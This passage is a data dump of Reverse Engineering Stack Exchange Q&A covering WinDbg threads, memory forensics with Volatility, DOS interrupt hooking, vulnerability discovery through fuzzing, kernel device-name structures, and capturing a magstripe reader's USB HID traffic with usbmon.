\n", "Title": "What impact does noninvasive debugging have?", "Tags": "|anti-debugging|windbg|", "Answer": "

Exception handling can also make a difference. I'm currently looking at some code which triggers exceptions causing program termination if run outside the debugger under the right circumstances. When the same happens inside the debugger, the exception handling is intercepted and the program behaves differently (it doesn't crash anymore but it also doesn't behave as if run outside the debugger).

\n" }, { "Id": "3180", "CreationDate": "2013-12-13T14:44:00.030", "Body": "

I'm doing memory forensics with volatility and pefile on Windows XP SP2 memory dumps.

\n\n

I run windows in a VirtualBox VM and aquire the dumps with vboxmanage debugvm dumpguestcore --filename dump.vmem

\n\n

I'm trying to build a tree of dll's imported by a process. Therefore I recursively walk the dll's starting at the process ImageBaseAddress. The problem that occurs is that for some dll's the dllBase is paged and so I can't read the import and delay import directory structures.

\n\n

I tried disabling the paging in Control Panel -> System -> Advanced -> Perfomance -> Advanced -> Virtual Memory -> No paging file. I also changed the registy entry HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\DisablePagingExecutive from 0 to 1, but the behaviour stays the same.

\n\n

Another Problem is that even if the dllBase is not paged, sometimes reading the import or delay import directories with PEfile fails although the module / dll has the directory.

\n\n

Any help is most appreciated.

\n", "Title": "Memory forensics: disabled pagefile but still not everything in memory", "Tags": "|windows|memory|digital-forensics|", "Answer": "

The paging file is generally for dirty pages, not for clean ones. The clean ones can be read from the original file directly, so there's no need to store them in the page file (and if they haven't ever been read yet then they won't be in memory at all).\nFurther, delay-load DLLs won't be in memory if they've never been referenced, so anything related to them won't be available to you. So just because you disable paging does not mean that everything will be entirely in memory, if physical memory constraints exist. You could try increasing the size of the physical memory, and perhaps let the process run for longer.

\n" }, { "Id": "3185", "CreationDate": "2013-12-14T07:58:21.203", "Body": "

I'm currently reading 40hex magazine regarding virus writing in the early 90's. They talk a lot there about interrupt intercepting Which is something security guys from anti viruses company will try to do, and should be prevented (from virus writing point of view)

\n\n

What is exactly interrupt intercepting ?

\n", "Title": "Interrupt interception", "Tags": "|dos|malware|", "Answer": "

By intercepting or hooking interrupts in DOS you can make the system behave differently whenever an interrupt is triggered. And there are many interrupts used in x86 architecture, some are triggered by hardware (such as clock, keyboard, divide overflow/divide by zero), some are BIOS services that can be called from software and some are OS services or other services that can also be called from software. All interrupts are equally easy to hook. All you need is cli, replace the interrupt vector with your own one, sti, or use some BIOS or DOS service.

\n\n

By hooking an interrupt you can first do your thing in your own interrupt handler and then forward the original parameters to the original interrupt handler, but you can also replace entire interrupts or specific services of chosen interrupts (without forwarding). TSRs (terminate & stay resident) programs are all based on hooking interrupts (with or without interrupt forwarding). For example many DOS debuggers are TSRs, and probably many viruses too.

\n\n

For example it's possible to write an interrupt handler for interrupt 0x13 that disables all hard drive formatting functions of BIOS interrupt 0x13, by first checking the parameters for int 0x13, and if the function (in ah) is 5, 6, 7, 0x1a ... then set the desired return values in registers and flags as you like , then iret, otherwise jmp to the original interrupt handler. You can write a TSR debugger that hooks the chosen interrupts and presents the debugger screen whenever a chosen interrupt is triggered. You can adjust the system timer interrupt frequency and then hook the timer interrupt to use it to play music eg. with AdLib or SoundBlaster. You can write a TSR keylogger, a TSR virus scanner or a TSR hard drive defragmenter. You can make the computer play \"Jingle Bells\" through PC speaker or sound card whenever the user presses Enter and it's December. The possibilities are limited only by the hardware available and the skill of the programmer.

\n" }, { "Id": "3195", "CreationDate": "2013-12-15T17:16:41.573", "Body": "

I wrote a little program which just shows a dialog. Basically an ASM Hello World. When the dialog is displayed and I break in WinDBG, I can see three threads even though the application doesn't use any threads at all.

\n\n

I was not aware that there is something like default threads applied to a process, or is this because of WinDBG?

\n\n

The Process/Thread window shows

\n\n
 000:13d4:MyApp.exe\n    000:d14\n    001:11bc\n    002:50c\n
\n\n

If I put a memory access breakpoint and the process would have multiple threads, do I have to specify in which thread this should be triggered. I think this shouldn't matter right? So if an address is accessed by any thread, the breakpoint should trigger regardless.

\n\n

udate

\n\n

So I took now a closer look (the handle numbers have changed, but the IDs are relevant anyway). I'm Running Windows 7-32bit-x86 if that helps.

\n\n

000: refers to my original process, but this was already known.

\n\n

001: Stacktrace when I break looks like this (some thread snychronization required by WinDBG?):

\n\n
ntdll!KiFastSystemCallRet\nkernel32!WaitForMultipleObjectsEx+0x8e\nkernel32!WaitForMultipleObjects+0x18\nmsiltcfg!RestartMsi+0x32e\nkernel32!BaseThreadInitThunk+0x12\nntdll!RtlInitializeExceptionChain+0xef\nntdll!RtlInitializeExceptionChain+0xc2\n
\n\n

It seems that this thread belongs to some msiltcfg.dll which would be a Windows 7 DLL, but why does it cread threads in my process?

\n\n

002: So this would probably be the WinDBG thread which Akira32 refers to in his answer, right? (why does WinDBG need a thread of his own?).

\n\n
ntdll!DbgBreakPoint\nkernel32!BaseThreadInitThunk+0x12\nntdll!RtlInitializeExceptionChain+0xef\nntdll!RtlInitializeExceptionChain+0xc2\n
\n", "Title": "Three threads in Windows", "Tags": "|windbg|thread|", "Answer": "

By your description:

\n\n

Yes, your program should have only one thread running, without debuger. You can check this on task manager.\nHowever when you attach to windbg it will create a thread on break. \nThe third thread that you mention, i really dont have a clue. Maybe a injected dll running code...

\n\n

But you can try to find out by opening the windows \"call stack\" on winbgd. (and selecting each thread, on thread window)

\n\n\n\n

You are right. You just need to set a breakpoint any thread will trigger on acess :).

\n\n

Lets us know what you find out :).

\n\n

Hope I have helped!

\n\n

UPDATE

\n\n
002:\n
\n\n

The windbg creates that thread every time you pause the attached process execution. It makes sense because the windbg needs a breakpoint to stop the execution, since he dont know where to patch a normal breakpoint on the code, to break immediately. He creates a thread to call dbgbreakpoint and break.

\n\n

If you continue the execution, the windbg's thread will terminate. This is a normal behavior of the debuggers, not only windbg.

\n\n
001:\n
\n\n

The msiltcfg.dll has functions to handle MSI installers. \"Windows Installer Configuration API Stub\"\nIts strange,for me, that the process has this dll loaded. By the stack call you show, its waiting for something. A thread, mutex event, etc... This thread has nothing to do with windbg. Something has loaded that dll on your process and created the thread. Almost for sure it is a operating system process.

\n\n

One thing you can do is check if other processes (calc.exe or notpad.exe, simple ones) got the same thread or the same dll loaded. Some programs/OS can load dll's on abritary processes or even all and run code (using the WIN32 API function CreateRemoteThread). This is a normal behavior done by malware too :).

\n\n

One thing you have for sure is that your program has only created one thread. And in a normal situation it should not have more than one.

\n\n

I tested a program like your to be sure, and just got a thread.

\n" }, { "Id": "3203", "CreationDate": "2013-12-16T21:03:24.710", "Body": "

currently I am trying to use IDA pro to generate assembly code from PE file and recompile it.

\n

Firstly

\n

basically I know this way:

\n
File -> Produce File -> Create ASM File\n
\n

and it seems the asm file it generated cannot be directly recompile.

\n

Second

\n

use some IDC or Python script in the IDA to extract useful asm instructions, put them together in order and recompile,\nthis kind of solution can be seen from some academic paper, but non of them have given some detailed instructions about how to do this task...

\n

Could anyone give me some instructions about this issue..?\nThank you!

\n", "Title": "Recompile the asm file IDA pro created", "Tags": "|disassembly|ida|idapython|", "Answer": "

I would answer the part

\n\n
\n

put them together in order and recompile

\n
\n\n

If your decompilation contains function chunks, be aware using an assembler that accept code outside from a function environment and be aware, too, with the data prevention execution.

\n\n

For more information about function chunks: Chunked function (discontinuous chunks of code comprising a function)

\n" }, { "Id": "3212", "CreationDate": "2013-12-17T09:17:23.577", "Body": "

I hope this question is not OT for RE, but I'm rather curious as to how vulnerabilities are usually found.

\n\n

Of course I'm aware that companies are doing code audits to identify security problems but I doubt that the results of such audits are publicly made available. Another way to find potential attacks is of course thinking about the details of a particular technique and finding its weakness (a timing attack would probably qualify as such).

\n\n

However, in the case of buffer overruns, I'm always wondering how people find out about it. I mean, if there is a release of some software, reversing it and hoping to find a buffer overflow this way seems rather hopeless to me, considering how much work this is. If your software crashes because of some special input, then of course this can be analyzed and might result in a security vulnerability. So are malware author just monitoring various sources (bug reporting site or similar) in the hope of hearing about such cases to look into it? Somehow I can't believe it.

\n", "Title": "How are vulnerabilities (especially buffer overruns) found in the wild?", "Tags": "|exploit|", "Answer": "

Fuzzing finds by far the majority of buffer overflows. Reverse engineering can both help the fuzzing and find additional issues on its own. If the fuzzer knows about 'special' values that will cause the code to branch differently or exit parsing earlier without their presence, it can weight the inclusion of those values, guarantee that the input will get past a certain point, or fill in a CRC to always be correct.

\n\n

On it's own, reverse engineering can be very good if you start with an idea of what kind of defect you want to find. For example, if you start with the idea that people who use atoi() will not expect negative numbers, it is easy to find those places in the code and flow forward to see what happens with the data. Another example might be to start with the assumption that memory allocation size could be integer overflowed so, look at each call to the allocation and see if the computation preceding it has the necessary checks. If not, see if the input can influence the allocation to reach a defect.

\n\n

Another way to use reverse engineering is to let someone else do the defect finding for you. Just compare what was patched when the vendor releases an update and you'll see what was repaired.

\n\n

As Jason said, the people writing the malware are not typically the same people that are finding the defects or even developing the exploits.

\n" }, { "Id": "3221", "CreationDate": "2013-12-18T14:02:24.863", "Body": "

Using volatility to inspect a services.exe process in a memory dump, I built a list of dll's that are loaded in the process space. (The modules are from the InLoadOrder module list)

\n\n

This is just an excerpt (full list: http://pastie.org/8560797):

\n\n
0x5b860000 netapi32.dll\nFileObject @8a3cb028, Name: \\WINDOWS\\system32\\netapi32.dll\n\n0x77f60000 shlwapi.dll\nFileObject @8a3e0df0, Name: \\WINDOWS\\system32\\shlwapi.dll\n
\n\n

As you can see there is a shlwapi.dll loaded in the process.Thanks to DependencyWalker (looking at the imports of services.exe) I found out how shlwapi.dll is loaded. ( -> means imports )

\n\n

netapi.dll -> dnsapi.dll -> iphlpapi.dll -> mprapi.dll -> setupapi.dll -> shlapi.dll

\n\n

But only netapi.dll is loaded. dnsapi.dll is not loaded, there is no entry for it in the InLoadOrder module list, neither is any of the other dlls from the from the above \"dependency chain\" loaded.

\n\n

This is not only for shlapi.dll but for many other dll's that are loaded as well. For example: shell32.dll, psapi.dll... Neither does this only happen for services.exe process.

\n\n

Any ideas why these dlls are loaded into the process?

\n\n

Any help is most appreciated, regards!

\n", "Title": "Modules that exist in a process address space", "Tags": "|windows|memory|digital-forensics|", "Answer": "

The netapi.dll might have loaded the dnsapi.dll in order to do some network inspection, and then freed the DLL on completion. However, the shlwapi.dll might hold some handles to objects open for whatever reason, or have a non-zero reference count because of circular loading, and thus remain in memory even after the other DLLs have unloaded. A request to unload does not guarantee that it will be honored, nor does it prevent the requester from unloading first. user32.dll is another DLL that usually displays this behavior.

\n" }, { "Id": "3233", "CreationDate": "2013-12-20T16:13:34.177", "Body": "

I'm using WinDbg to try enumerate drivers and their associated devices. Getting the driver name is very easy. It is found in the _DRIVER_OBJECT structure. Unfortunately, the _DEVICE_OBJECT does not contain the name of the device.

\n\n

Using the !devobj command I can see the name of the device, but I would like to find the table/structure that contains the name.

\n", "Title": "Find the kernel structure that contains device name", "Tags": "|windows|windbg|kernel-mode|", "Answer": "

From what I remember, both XP and Win7 always had this format:

\n\n

object_directory_followed by object_header whose _QUAD part (opaque do not use this field) points to the OBJECT

\n\n

If you did dt nt!_Object_header_name_info <address of object> - 0x28:

\n\n
kd> !devobj \\Device\\Beep;dt nt!_OBJECT_HEADER_NAME_INFO 86884db8-28\nDevice object (86884db8) is for:\n Beep \\Driver\\Beep DriverObject 86e703b8\nCurrent Irp 00000000 RefCount 0 Type 00000001 Flags 00000044\nDacl e1020c34 DevExt 86884e70 DevObjExt 86884ec8 \nExtensionFlags (0000000000)  \nDevice queue is not busy.\n   +0x000 Directory        : 0xe100d670 _OBJECT_DIRECTORY\n   +0x004 Name             : _UNICODE_STRING \"Beep\"\n   +0x00c QueryReferences  : 1\nkd> !devobj \\Device\\00000013\nDevice object (86fe7cd0) is for:\n 00000013 \\Driver\\PnpManager DriverObject 86fe9328\nCurrent Irp 00000000 RefCount 0 Type 00000004 Flags 00001040\nDacl e1020c34 DevExt 86fe7d88 DevObjExt 86fe7d90 DevNode 86fe7b88 \nExtensionFlags (0x00000010)  DOE_START_PENDING\nDevice queue is not busy.\nkd> dt nt!_OBJECT_HEADER_NAME_INFO 86fe7cd0-28\n   +0x000 Directory        : 0xe100d670 _OBJECT_DIRECTORY\n   +0x004 Name             : _UNICODE_STRING \"00000013\"\n   +0x00c QueryReferences  : 1\n
\n" }, { "Id": "3237", "CreationDate": "2013-12-20T22:17:39.027", "Body": "

I have a Magtek magstripe card reader. Here's more information than you'd ever want about the device:

\n\n
# lsusb -v\nBus 001 Device 003: ID 0801:0001 MagTek Mini Swipe Reader (Keyboard Emulation)\nDevice Descriptor:\n  bLength                18\n  bDescriptorType         1\n  bcdUSB               1.10\n  bDeviceClass            0 (Defined at Interface level)\n  bDeviceSubClass         0 \n  bDeviceProtocol         0 \n  bMaxPacketSize0        64\n  idVendor           0x0801 MagTek\n  idProduct          0x0001 Mini Swipe Reader (Keyboard Emulation)\n  bcdDevice            1.00\n  iManufacturer           1 (error)\n  iProduct                2 (error)\n  iSerial                 3 (error)\n  bNumConfigurations      1\n  Configuration Descriptor:\n    bLength                 9\n    bDescriptorType         2\n    wTotalLength           34\n    bNumInterfaces          1\n    bConfigurationValue     1\n    iConfiguration          0 \n    bmAttributes         0x80\n      (Bus Powered)\n    MaxPower              100mA\n    Interface Descriptor:\n      bLength                 9\n      bDescriptorType         4\n      bInterfaceNumber        0\n      bAlternateSetting       0\n      bNumEndpoints           1\n      bInterfaceClass         3 Human Interface Device\n      bInterfaceSubClass      1 Boot Interface Subclass\n      bInterfaceProtocol      1 Keyboard\n      iInterface              0 \n        HID Device Descriptor:\n          bLength                 9\n          bDescriptorType        33\n          bcdHID               1.01\n          bCountryCode            0 Not supported\n          bNumDescriptors         1\n          bDescriptorType        34 Report\n          wDescriptorLength      76\n         Report Descriptors: \n           ** UNAVAILABLE **\n      Endpoint Descriptor:\n        bLength                 7\n        bDescriptorType         5\n        bEndpointAddress     0x81  EP 1 IN\n        bmAttributes            3\n          Transfer Type            Interrupt\n          Synch Type               None\n          Usage Type               Data\n        wMaxPacketSize     0x0008  1x 8 bytes\n        bInterval               1\nDevice Status:     0x0000\n  (Bus Powered)\n
\n\n

This is a USB keyboard emulation device, so when you swipe a card, the data on tracks 1 and 2 are typed on the screen into whatever program you have open at the time.

\n\n

I'm trying to learn about USB reverse engineering, so I'm trying to understand how this device sends data to my computer. After swiping a card and seeing the data on the screen, I try to find that data in the USB requests that go back and forth between my computer and the device. To do this, I use usbmon:

\n\n
# cat /sys/kernel/debug/usb/usbmon/1u\n
\n\n

I've read up on the output of usbmon and I've also tried looking at the data using vusb-analyzer, but I can't find any of the data I expect to see in the data stream.

\n\n

Here is an example of the output on the screen and the output from usbmon after swiping an old (inactive) ID card from Oakland University.

\n\n

Output on screen:

\n\n
%000127138,6361380000058657,SINGH,?;6361380000058657=123456789012?+000127138?\n
\n\n

Usbmon Output:

\n\n
ffff88008954e900 3348888805 C Ii:1:003:1 0:1 8 = 02002200 00000000\nffff88008954e900 3348888878 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348889671 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348889709 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348890693 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348890719 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348892689 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348892712 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348893689 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348893714 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348894689 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348894714 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348895688 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348895713 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348896662 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348896686 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348897689 C Ii:1:003:1 0:1 8 = 00001e00 00000000\nffff88008954e900 3348897714 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348898690 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348898715 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348899686 C Ii:1:003:1 0:1 8 = 00001f00 00000000\nffff88008954e900 3348899709 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348900687 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348900710 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348901692 C Ii:1:003:1 0:1 8 = 00002400 00000000\nffff88008954e900 3348901716 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348902689 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348902710 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348903689 C Ii:1:003:1 0:1 8 = 00001e00 00000000\nffff88008954e900 3348903711 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348904691 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348904713 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348905692 C Ii:1:003:1 0:1 8 = 00002000 00000000\nffff88008954e900 3348905719 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348906665 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348906697 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348907696 C Ii:1:003:1 0:1 8 = 00002500 00000000\nffff88008954e900 3348907726 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348908687 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348908716 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348909688 C Ii:1:003:1 0:1 8 = 00003600 00000000\nffff88008954e900 3348909717 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348910688 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348910717 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348911688 C Ii:1:003:1 0:1 8 = 00002300 00000000\nffff88008954e900 3348911717 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348912687 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348912705 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348913687 C Ii:1:003:1 0:1 8 = 00002000 00000000\nffff88008954e900 3348913706 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348914688 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348914706 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348915686 C Ii:1:003:1 0:1 8 = 00002300 00000000\nffff88008954e900 3348915705 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348916688 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348916715 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348917691 C Ii:1:003:1 0:1 8 = 00001e00 00000000\nffff88008954e900 3348917718 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348918691 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348918717 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348919690 C Ii:1:003:1 0:1 8 = 00002000 00000000\nffff88008954e900 3348919717 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348920694 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348920718 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348921693 C Ii:1:003:1 0:1 8 = 00002500 00000000\nffff88008954e900 3348921716 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348922663 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348922679 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348923692 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348923721 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348924659 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348924678 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348925660 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348925675 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348926659 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348926674 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348927662 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348927680 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348928675 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348928701 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348929688 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348929714 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348930687 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348930713 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348931688 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348931715 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348932689 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348932720 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348933677 C Ii:1:003:1 0:1 8 = 00002200 00000000\nffff88008954e900 3348933690 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348934676 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348934687 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348935680 C Ii:1:003:1 0:1 8 = 00002500 00000000\nffff88008954e900 3348935692 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348936664 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348936675 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348937663 C Ii:1:003:1 0:1 8 = 00002300 00000000\nffff88008954e900 3348937674 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348938664 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348938676 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348939664 C Ii:1:003:1 0:1 8 = 00002200 00000000\nffff88008954e900 3348939674 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348940661 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348940671 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348941660 C Ii:1:003:1 0:1 8 = 00002400 00000000\nffff88008954e900 3348941670 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348942661 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348942670 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348943673 C Ii:1:003:1 0:1 8 = 00003600 00000000\nffff88008954e900 3348943685 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348944676 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348944700 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348945675 C Ii:1:003:1 0:1 8 = 02001600 00000000\nffff88008954e900 3348945687 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348946661 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348946672 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348947661 C Ii:1:003:1 0:1 8 = 02000c00 00000000\nffff88008954e900 3348947673 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348948661 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348948672 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348949664 C Ii:1:003:1 0:1 8 = 02001100 00000000\nffff88008954e900 3348949677 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348950665 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348950676 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348951666 C Ii:1:003:1 0:1 8 = 02000a00 00000000\nffff88008954e900 3348951677 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348952666 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348952677 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348953666 C Ii:1:003:1 0:1 8 = 02000b00 00000000\nffff88008954e900 3348953678 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348954665 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348954677 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348956665 C Ii:1:003:1 0:1 8 = 00003600 00000000\nffff88008954e900 3348956680 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348957680 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348957696 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348958677 C Ii:1:003:1 0:1 8 = 02003800 00000000\nffff88008954e900 3348958692 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348959663 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348959678 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348960663 C Ii:1:003:1 0:1 8 = 00003300 00000000\nffff88008954e900 3348960674 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348961669 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348961699 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348962670 C Ii:1:003:1 0:1 8 = 00002300 00000000\nffff88008954e900 3348962697 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348963663 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348963678 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348964664 C Ii:1:003:1 0:1 8 = 00002000 00000000\nffff88008954e900 3348964676 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348965667 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348965678 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348966667 C Ii:1:003:1 0:1 8 = 00002300 00000000\nffff88008954e900 3348966678 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348967671 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348967681 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348968674 C Ii:1:003:1 0:1 8 = 00001e00 00000000\nffff88008954e900 3348968703 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348969673 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348969701 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348970670 C Ii:1:003:1 0:1 8 = 00002000 00000000\nffff88008954e900 3348970697 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348971672 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348971698 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348972676 C Ii:1:003:1 0:1 8 = 00002500 00000000\nffff88008954e900 3348972705 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348973678 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348973688 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348974668 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348974694 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348975669 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348975695 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348976667 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348976695 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348977670 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348977700 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348978669 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348978695 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348979670 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348979699 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348980669 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348980694 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348981674 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348981702 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348982678 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348982704 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348983687 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348983714 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348984682 C Ii:1:003:1 0:1 8 = 00002200 00000000\nffff88008954e900 3348984709 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348985675 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348985702 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348986679 C Ii:1:003:1 0:1 8 = 00002500 00000000\nffff88008954e900 3348986707 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348987682 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348987712 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348988685 C Ii:1:003:1 0:1 8 = 00002300 00000000\nffff88008954e900 3348988714 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348989679 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348989707 S Ii:1:003:1 -115:1 8 <\nffff88008954e900 3348990678 C Ii:1:003:1 0:1 8 = 00002200 00000000\nffff88008954e900 3348990706 S Ii:1:003:1 -115:1 8 